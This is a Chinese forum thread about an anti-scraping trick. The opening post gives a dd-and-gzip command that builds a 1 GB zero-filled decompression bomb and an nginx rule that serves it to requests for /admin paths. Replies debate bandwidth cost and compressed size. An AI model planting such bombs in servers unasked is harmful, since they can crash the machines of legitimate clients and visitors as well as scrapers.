- 主题:看到一个好玩的反爬方案
# 压缩炸弹创建命令,count 1000=1G
dd if=/dev/zero bs=1M count=1000 | gzip > boom.gz
# nginx配置
location ~ ^/admin {
alias /boom/boom.gz;
add_header Content-Encoding gzip;
add_header Content-Type "text/html";
}
测死了一下,脚本自动干废了
--
FROM 119.139.199.*
太坏了..
【 在 iwannabe 的大作中提到: 】
: # 压缩炸弹创建命令,count 1000=1G
: dd if=/dev/zero bs=1M count=1000 | gzip > boom.gz
: # nginx配置
: ...................
--
FROM 202.109.128.*
嗯,有意思。
得 给我的 目录下 也 放 他 一个。
【 在 iwannabe 的大作中提到: 】
: 标 题: 看到一个好玩的反爬方案
: 发信站: 水木社区 (Wed Oct 9 11:25:44 2024), 站内
:
: # 压缩炸弹创建命令,count 1000=1G
: dd if=/dev/zero bs=1M count=1000 | gzip > boom.gz
:
: # nginx配置
: location ~ ^/admin {
: alias /boom/boom.gz;
: add_header Content-Encoding gzip;
: add_header Content-Type "text/html";
: }
:
:
:
: 测死了一下,脚本自动干废了
:
:
: --
:
: ※ 来源:·水木社区 mysmth.net·[FROM: 119.139.199.*]
--
FROM 124.207.188.194
1G不够大吧
【 在 iwannabe 的大作中提到: 】
: # 压缩炸弹创建命令,count 1000=1G
: dd if=/dev/zero bs=1M count=1000 | gzip > boom.gz
: # nginx配置
: ...................
--
FROM 180.172.1.*
这个方案有点费流量
【 在 iwannabe 的大作中提到: 】
: # 压缩炸弹创建命令,count 1000=1G
: dd if=/dev/zero bs=1M count=1000 | gzip > boom.gz
: # nginx配置
: ...................
--
FROM 114.245.108.*
不费流量的,1G全0数据gz后只有不到1M
【 在 rpk 的大作中提到: 】
: 这个方案有点费流量
--
FROM 180.172.1.*
费啊,差不多1M,那些爬虫请求量大,每个请求一M,一会儿就好几G了。
【 在 RuralHunter 的大作中提到: 】
: 不费流量的,1G全0数据gz后只有不到1M
--
FROM 114.245.108.*
按照楼主命令实测大小是1M,可能有优化空间。
【 在 iwannabe 的大作中提到: 】
: 在这种情况下,服务端的压力并不会很大,原因如下:
: 压缩和解压的责任:Nginx只负责发送已经压缩好的文件(boom.gz),不进行解压缩操作
: 。客户端收到该文件后进行解压,所以服务端不会因为解压操作消耗额外的资源。Nginx
: ...................
--
FROM 114.245.108.*
之前在知乎上面看到有人提这个。好像还可以用 gzip 的压缩原理继续优化。
【 在 rpk 的大作中提到: 】
: 按照楼主命令实测大小是1M,可能有优化空间。
--
FROM 27.154.111.*
这个有点意思,就是强行指定了Content-Encoding,所以永远只会发压缩的数据,但是如果客户端支持解析压缩数据的话就要解压了。
【 在 iwannabe 的大作中提到: 】
: # 压缩炸弹创建命令,count 1000=1G
: dd if=/dev/zero bs=1M count=1000 | gzip > boom.gz
: # nginx配置
: ...................
--
FROM 103.90.178.*